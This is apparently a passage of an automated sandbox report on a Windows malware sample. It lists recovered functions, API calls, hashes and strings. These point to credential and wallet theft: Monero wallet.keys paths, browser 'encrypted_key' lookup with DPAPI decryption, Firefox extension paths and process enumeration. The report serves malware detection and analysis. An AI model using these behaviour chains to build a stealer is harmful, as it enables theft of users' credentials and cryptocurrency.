                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                    • String ID:
                                    • API String ID: 211194620-0
                                    • Opcode ID: 02917355987ff22d35747e433c3364c78411cfa1c7987f14a4dbcd3918d63f44
                                    • Instruction ID: bca465f8ff04976339d37030a35ae225f0202b92cb89d4b1242e276b80e59bbd
                                    • Opcode Fuzzy Hash: 02917355987ff22d35747e433c3364c78411cfa1c7987f14a4dbcd3918d63f44
                                    • Instruction Fuzzy Hash: A2E1DB72D101489FCB14FBA5DDA2EEE7339AF24300F5185A9F516720A1EF307A48DB62
                                    Function 00CDD500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CE8CF0: GetSystemTime.KERNEL32(00CF0E1B,01599BB8,00CF05B6,?,?,00CD13F9,?,0000001A,00CF0E1B,00000000,?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CE8D16
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CDD581
                                    • lstrlen.KERNEL32(00000000), ref: 00CDD798
                                    • lstrlen.KERNEL32(00000000), ref: 00CDD7AC
                                    • DeleteFileA.KERNEL32(00000000), ref: 00CDD82B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                    • String ID:
                                    • API String ID: 211194620-0
                                    • Opcode ID: 19f3a387e17316fe8cb9ea5ec56f6460082c7e74eb90548014f68f7ee9b159d8
                                    • Instruction ID: c679b093b4ec10124e0f2c20ebbef59ee74996eda07b77b12bfb9b84e1aea10c
                                    • Opcode Fuzzy Hash: 19f3a387e17316fe8cb9ea5ec56f6460082c7e74eb90548014f68f7ee9b159d8
                                    • Instruction Fuzzy Hash: BA91EE72D101489FCB14FBA5DCA2EEE7339AF64300F5185A9F51766191EF307A08EB62
                                    Function 00CDD880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CE8CF0: GetSystemTime.KERNEL32(00CF0E1B,01599BB8,00CF05B6,?,?,00CD13F9,?,0000001A,00CF0E1B,00000000,?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CE8D16
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CDD901
                                    • lstrlen.KERNEL32(00000000), ref: 00CDDA9F
                                    • lstrlen.KERNEL32(00000000), ref: 00CDDAB3
                                    • DeleteFileA.KERNEL32(00000000), ref: 00CDDB32
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                    • String ID:
                                    • API String ID: 211194620-0
                                    • Opcode ID: 32e67a9e11179156842add26615550c3d594236b5f9d1bf94b8a005c7cf1c429
                                    • Instruction ID: 0f9176bd1dea8acb24e15802ad07ca051e888702e9669b4c5c6fb8e449c378f8
                                    • Opcode Fuzzy Hash: 32e67a9e11179156842add26615550c3d594236b5f9d1bf94b8a005c7cf1c429
                                    • Instruction Fuzzy Hash: 2681EE72D101489FCB04FBA5DCA6EEE7339AF64300F518569F517661A1EF307A08EB62
                                    Function 00D4FED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AdjustPointer
                                    • String ID:
                                    • API String ID: 1740715915-0
                                    • Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
                                    • Instruction ID: 8e924cc7790f1010049b493c41eb7505782fca52e2ddc56f7db1e42ff031f46c
                                    • Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
                                    • Instruction Fuzzy Hash: C051C172900206AFEF298F58C841BBA77A4FF41312F28452DED05975A1E731ED48DBB0
                                    Function 00CDA560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • LocalAlloc.KERNEL32(00000040,?), ref: 00CDA664
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AllocLocallstrcpy
                                    • String ID: @$v10$v20
                                    • API String ID: 2746078483-278772428
                                    • Opcode ID: 689aa9f697d3e7939055aa942db51a0b1553a38a17e224b267ed9f3931aec4e1
                                    • Instruction ID: dbf2651c30e2084cb9e58c3c125bc8274b14c882a295ee8f2dd8f9f158998a61
                                    • Opcode Fuzzy Hash: 689aa9f697d3e7939055aa942db51a0b1553a38a17e224b267ed9f3931aec4e1
                                    • Instruction Fuzzy Hash: 57516C71A1024CEFDB24EFA5CD96FED77B5AF50300F018128FA0A5B291EB706A05DB52
                                    Function 00CDF5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CDA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CDA13C
                                      • Part of subcall function 00CDA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CDA161
                                      • Part of subcall function 00CDA110: LocalAlloc.KERNEL32(00000040,?), ref: 00CDA181
                                      • Part of subcall function 00CDA110: ReadFile.KERNEL32(000000FF,?,00000000,00CD148F,00000000), ref: 00CDA1AA
                                      • Part of subcall function 00CDA110: LocalFree.KERNEL32(00CD148F), ref: 00CDA1E0
                                      • Part of subcall function 00CDA110: CloseHandle.KERNEL32(000000FF), ref: 00CDA1EA
                                      • Part of subcall function 00CE8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CE8FE2
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00CF1678,00CF0D93), ref: 00CDF64C
                                    • lstrlen.KERNEL32(00000000), ref: 00CDF66B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
                                    • String ID: ^userContextId=4294967295$moz-extension+++
                                    • API String ID: 998311485-3310892237
                                    • Opcode ID: 1da7e934a019e36a9aa92d21bd56690bddac2a8448a2881d72f7a7a047f4200c
                                    • Instruction ID: 6193f75525aeb846205f9f9f96281e39139c14e183dc42133466104df2a92e06
                                    • Opcode Fuzzy Hash: 1da7e934a019e36a9aa92d21bd56690bddac2a8448a2881d72f7a7a047f4200c
                                    • Instruction Fuzzy Hash: 13514A72D00248AFCB14FBA5DDA2DFE7339AF54300F518568F91667191EE347A08EB62
                                    Function 00CE37B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen
                                    • String ID:
                                    • API String ID: 367037083-0
                                    • Opcode ID: d6623e6fba86d0d562e6b73e3e4c28884b30e17ba1c9eb453e9bd9a505cefdcb
                                    • Instruction ID: bd22df1c410f18db76dfe0b27d1d76edfa80a3d21d79cb1a90a700561d95f3a8
                                    • Opcode Fuzzy Hash: d6623e6fba86d0d562e6b73e3e4c28884b30e17ba1c9eb453e9bd9a505cefdcb
                                    • Instruction Fuzzy Hash: EF415D71D102899FCB04EFA6D859AFEB778AF14304F008029F51677291EB74AA04DFA2
                                    Function 00CDA430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CDA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CDA13C
                                      • Part of subcall function 00CDA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CDA161
                                      • Part of subcall function 00CDA110: LocalAlloc.KERNEL32(00000040,?), ref: 00CDA181
                                      • Part of subcall function 00CDA110: ReadFile.KERNEL32(000000FF,?,00000000,00CD148F,00000000), ref: 00CDA1AA
                                      • Part of subcall function 00CDA110: LocalFree.KERNEL32(00CD148F), ref: 00CDA1E0
                                      • Part of subcall function 00CDA110: CloseHandle.KERNEL32(000000FF), ref: 00CDA1EA
                                      • Part of subcall function 00CE8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CE8FE2
                                    • StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00CDA489
                                      • Part of subcall function 00CDA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CD4F3E,00000000,00000000), ref: 00CDA23F
                                      • Part of subcall function 00CDA210: LocalAlloc.KERNEL32(00000040,?,?,?,00CD4F3E,00000000,?), ref: 00CDA251
                                      • Part of subcall function 00CDA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CD4F3E,00000000,00000000), ref: 00CDA27A
                                      • Part of subcall function 00CDA210: LocalFree.KERNEL32(?,?,?,?,00CD4F3E,00000000,?), ref: 00CDA28F
                                      • Part of subcall function 00CDA2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00CDA2D4
                                      • Part of subcall function 00CDA2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00CDA2F3
                                      • Part of subcall function 00CDA2B0: LocalFree.KERNEL32(?), ref: 00CDA323
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
                                    • String ID: $"encrypted_key":"$DPAPI
                                    • API String ID: 2100535398-738592651
                                    • Opcode ID: 5e4693345c0337c5572de91307748fa158185736cc1ad00076610a658aa39244
                                    • Instruction ID: da4ccdb0a2ce61697308bfa921e2e32ee12e22a2c481c242fc101ed3fa4886d6
                                    • Opcode Fuzzy Hash: 5e4693345c0337c5572de91307748fa158185736cc1ad00076610a658aa39244
                                    • Instruction Fuzzy Hash: 6C3141B6D0020DABCF04DFE4EC45AEFB7B8AF58300F044519EA15A3241F7319A04CBA2
                                    Function 00CE8810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00CF05BF), ref: 00CE885A
                                    • Process32First.KERNEL32(?,00000128), ref: 00CE886E
                                    • Process32Next.KERNEL32(?,00000128), ref: 00CE8883
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • CloseHandle.KERNEL32(?), ref: 00CE88F1
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
